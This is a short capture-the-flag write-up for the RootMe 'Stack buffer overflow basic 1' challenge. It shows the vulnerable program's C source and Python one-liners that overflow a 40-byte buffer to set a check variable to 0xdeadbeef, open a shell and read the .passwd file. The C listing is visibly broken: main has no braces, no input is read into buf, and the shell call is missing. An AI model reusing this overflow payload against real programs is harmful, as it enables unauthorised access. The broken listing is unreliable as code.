ELF x86: Stack buffer overflow basic 1

RootMe challenge: ELF x86 - Stack buffer overflow basic 1: An intermediate level to familiarize yourself with stack overflows.

Environment configuration:

PIE 	Position Independent Executable 	 No 
RelRO 	Read Only relocations 	                 No 
NX 	Non-Executable Stack 	                 No 
ASLR 	Address Space Layout Randomization 	 No 
SF 	Source Fortification 	                 No 
SSP 	Stack-Smashing Protection 	         No 
SRC 	Source code access 	                 Yes 

Given code:

#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
int main()
  int var;
  int check = 0x04030201;
  char buf[40];
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");
  if (check == 0xdeadbeef)
     printf("Yeah dude! You win!\nOpening your shell...\n");
     setreuid(geteuid(), geteuid());
     printf("Shell closed! Bye.\n");
   return 0;

Apparently, the goal is to change the check variable to 0xdeadbeef (Endian).

app-systeme-ch13@challenge02:~$ python -c "print 'A'*40 + 'DDDD'" | ./ch13 

[check] 0x44444444

You are on the right way!
app-systeme-ch13@challenge02:~$ cat <(python -c "print 'A'*40 + '\xef\xbe\xad\xde'") - | ./ch13 

[check] 0xdeadbeef
Yeah dude! You win!
Opening your shell...
cat .passwd